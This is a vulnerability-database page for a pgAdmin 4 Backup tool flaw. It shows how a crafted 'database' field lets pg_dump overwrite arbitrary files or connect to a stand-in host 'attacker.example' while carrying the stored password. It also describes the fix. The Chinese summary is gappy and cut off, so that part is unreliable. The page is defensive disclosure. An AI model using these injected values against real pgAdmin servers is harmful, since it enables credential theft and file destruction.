Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2026-86864— pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool

Quick assessment

Affected
pgadmin.org pgAdmin 4
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

pgAdmin 4 的备份工具在 请求中,将客户端提供的 字段未经任何验证,直接作为无修饰的尾随位置参数追加到 的参数向量中。由于 使用 解析选项,而该函数会对参数进行重排,因此以连字符开头的值会被解释为选项而非数据库名称。例如, 这样的值会覆盖 pgAdmin 先前构造的、受存储限制约束的 选项,导致 将输出写入 pgAdmin 进程拥有写权限的任何位置,而不仅仅是用户文件管理器指定的存储目录。这会导致以运行 pgAdmin 的操作系统账户身份创建或覆盖任意文件,从而可能破坏 pgAdmin 自身的配置数据库,并

CVSS 8.8 · High
Get alerts for future matching vulnerabilities Log in to subscribe

I. Basic Information for CVE-2026-86864

Vulnerability Information

Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool
Source: CVE Program / CVE List V5
Vulnerability Description
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Source: CVE Program / CVE List V5
Vulnerability Type
参数注入或修改
Source: CVE Program / CVE List V5

Affected Products

Vendor Product Affected Versions CPE Subscribe
pgadmin.org pgAdmin 4 0 ~ 9.18 -

II. Public POCs for CVE-2026-86864

# POC Description Source Link Shenlong Link
AI-Generated POC Premium

No public POC found.

Login to generate AI POC

III. Intelligence Information for CVE-2026-86864

登录查看更多情报信息。

Mailing List Discussions for CVE-2026-86864 (1)

Same Patch Batch · pgadmin.org · 2026-09-17 · 4 CVEs total

CVE-2026-86863 9.8 CRITICAL pgAdmin 4: Authentication bypass via a client-controlled identity header in Webserver auth
CVE-2026-86862 6.5 MEDIUM pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenan
CVE-2026-86861 5.9 MEDIUM pgAdmin 4: File Manager save_file writes through a symbolic link planted after the contain

IV. Related Vulnerabilities

V. Comments for CVE-2026-86864

No comments yet


Leave a comment